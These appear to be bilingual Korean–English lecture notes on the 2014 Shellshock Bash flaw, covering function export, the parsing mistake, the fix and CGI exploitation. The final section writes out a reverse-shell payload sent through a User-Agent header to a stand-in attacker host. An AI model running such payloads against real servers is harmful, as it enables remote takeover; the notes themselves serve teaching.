Shellshock: Introduction
- September 24, 2014
- Vulnerability in Bash
- Related to
- Environment variable
- CGI(Common Gateway Interface) and Web
Defining Functions in Shell
- declare -f 함수명
- 해당 함수가 정의되어 있음을 확인할 수 있고, 함수의 원형과 본문이 출력된다.
- unset -f 함수명
-f는 함수를 대상으로 적용하겠다는 옵션이다.
-f 옵션 없이 declare, unset, export 같은 명령어를 쓰면 함수가 아니라 변수만 대상으로 작동한다.
Passing Function to Child Process
export
- passing function definition explicitly to child shell
- 정의한 값을 명시적으로 자식 프로세스에 전달하겠다. 이로 인해 자식 프로세스에서도 foo 함수를 동일하게 사용할 수 있게 된다.
새로운 shell을 실행할 때 내부적으로 fork()를 사용하여 자식 프로세스를 생성한다.
위에서 foo 함수를 export를 했기 때문에, Child shell에서도 foo 함수를 그대로 사용할 수 있다.
1. Definition & export
- foo='': 변수 선언, 환경 변수처럼 작성
- declare: 선언한 함수를 보여주는 명령어이므로 변수는 출력이 나오지 않는다.
2. Patched Bash
- patched bash를 실행하면, 부모로부터 전달받은 foo 값은 여전히 환경변수로 남아있다.
- declare -f foo: foo 함수는 정의된 사실이 없기 때문에 출력이 없다.
- 단순한 환경 변수로서의 '() { echo hello; }'만 존재한다.
3. Vulnerable Bash
- declare -f foo: 부모가 선언한 변수를 함수로 인식하여 출력된다.
- echo $foo: 환경 변수 값이 출력되지 않는다.
Shellshock Vulnerability
- /bin/bash_shellshock: 부모 shell에서 shellshock 취약점이 있는 bash 실행
- Child shell로 진입하는 순간, bash가 부모로부터 받은 추가 명령까지 자동 실행
- 함수 정의와 명령을 따로 구분해 추가 명령은 즉시 실행하고, 환경 변수 foo의 값은 함수 정의로서만 남는다.
Mistake in the Source Code
- Line A: foo=() { echo “Hello World“; }; echo “extra“;
- Line B: foo () { echo “Hello World“; }; echo “extra“;
STREQ("() {", string, 4)
- 환경 변수 값이 함수 선언
() {로 시작하는지 확인한다.
parse_and_execute(...)
- 함수 정의 부분 뒤에 붙은 모든 추가 문자('; echo "extra"')도 그대로 파싱, 실행한다.
- 데이터 분리를 거치지 않고, 전체를 하나의 파싱으로 처리한다.
앞에서부터 4개의 str만 보고 판단하기에는 너무 naive하다. 함수 정의 패턴만 맞고 뒤에 악의적인 코드가 붙어있는 경우도 구분할 수 없기 때문이다.
Lessons Learned
Security Principles violated
Data → Code ?
- 단순 데이터로 취급되어야 할 정보가 실수나 취약점으로 인해 프로그램 코드처럼 실행될 수 있다.
How Bash Fixes the Problem
For Environment Variables
How to Pass Function?
- 'strings /proc/$$/environ | grep foo'
- 현재 프로세스의 환경 변수 중 foo와 관련된 내용만 확인할 수 있는 명령어
- $$: 현재 프로세스의 PID
- 'BASH_FUNC_foo%%=() { echo hello; }'
- %%는 함수와 일반 환경변수를 구분하기 위한 마커, 환경변수에 저장되면 명령주입 최약점 공격이 어렵다.
- 부모의 함수 정의 → export 되어 환경 변수에 (BASHFUNC포맷) 저장 → 자식 bash 시작 시 함수로 복원 및 등록
- 이 방식 덕분에 shellshock처럼 악의적 명령 주입을 방지할 수 있고, 명확하게 함수와 일반 변수를 구분할 수 있다.
Conditions
- Run Bash (with vulnerability)
- Take input from environment variables

위 두 조건을 만족할 때 shellshock이 발생한다.
Shellshock Attack on CGI: How CGI Works
- CGI: Common Gateway Interface → Providing dynamic pages
Client가 악의적인 함수나 명령을 포함한 HTTP 요청을 보내고, Server에서 요청을 받아 필요 시에 fork()를 통해 자식에게 입력 데이터를 환경 변수로 전달할 수 있다.
shellshock 취약점이 있는 경우 악의적 명령이 곧바로 실행된다. CGI 구조상 "데이터가 코드로" 전환되는 통로가 생긴다.
Passing Environment Variables to CGI
The CGI Program
- 웹 서버가 CGI 프로그램을 자식 프로세스를 실행할 때, HTTP header를 의도적으로 환경 변수 형태로 만들어 자식 프로세스에 전달하는 과정이다.
- 이때 리눅스의 부모-자식 환경 변수 상속(export) 원리가 그대로 활용된다.
From command line
- curl 명령어로 HTTP request
- 데이터를 HTTP request's header(User-Agent)에 담아 서버로 전송
- 서버에서는 해당 값을 CGI 자식 프로세스의 환경 변수로 전환(HTTP_USER_AGENT)
요청에서 보낸 데이터가 환경 변수로 담겨 서버에서 확인되어 응답에 포함된다.
How about?
User-Agent 헤더에 함수 선언처럼 보이는 코드와 쉘 명령을 함께 넣음
- curl: HTTP request를 서버로 보내는 명령어
- Bash는 변수 값에 함수 정의가 있으면 실제 함수로 인식하고 실행
- 함수 뒤에 이어진 쉘 명령어 /bin/ls -l까지 실행
외부에서 넘긴 환경 변수가 CGI에서 parsing & execution 되는 과정에서 악의적인 명령을 그대로 실행할 수 있다.
Reverse Shell Overview
remote shell vs. reverse shell
- Remote: 공격자가 직접 피해자(서버)의 쉘에 접근해서 명령어를 실행하는 방식
- Reverse: 피해자(서버)가 공격자 쪽으로 접속해서 자신의 쉘을 내어주는 방식이다.
- 공격자 쪽에서 port를 열어두고 listening하고 있어야 한다.
- 피해자가 이미 제어권을 넘기는 코드를 실행한 경우 pw를 알 필요가 없다.
Redirecting Standard I/O to TCP
- 생략된 1: standard out
- 명령어 실행 결과(standard out)가 네트워크를 통해 10.9.0.1의 9090 포트로 전송된다.
- 0<&1: standard in을 standard out으로 redirection
- 2>&1: standard err를 standard out으로 다시 돌림
- '<': 입력 지정
- 'command < file.txt': file.txt 내용을 표준 입력으로 삼아서 명령 실행
- '>': 출력 지정
- 'command > out.txt': 명령 결과인 표준 출력을 out.txt 파일에 저장
- 0: standard in
- 1: standard out
- 2: standard error
- &1: 1번(standard out) fd로
Shellshock Attack Using Reverse Shell
- -A "...": User Agent HTTP header에 악성 함수 삽입
- /bin/bash -i > /dev/tcp/attacker/9090 0<&1 2>&1
- victim 서버의 bash shell을 attacker의 9090 포트에 네트워크 입출력으로 연결
- attacker는 9090 포트를 열고 listening 상태여야 한다.
- attacker는 피해 서버의 프롬포트를 원격 제어할 수 있음(reverse shell)
앞에서 > dev/.../9090으로 redirection했기 때문에, 공격자가 listening 중인 network socket이 표준 출력을 의미한다.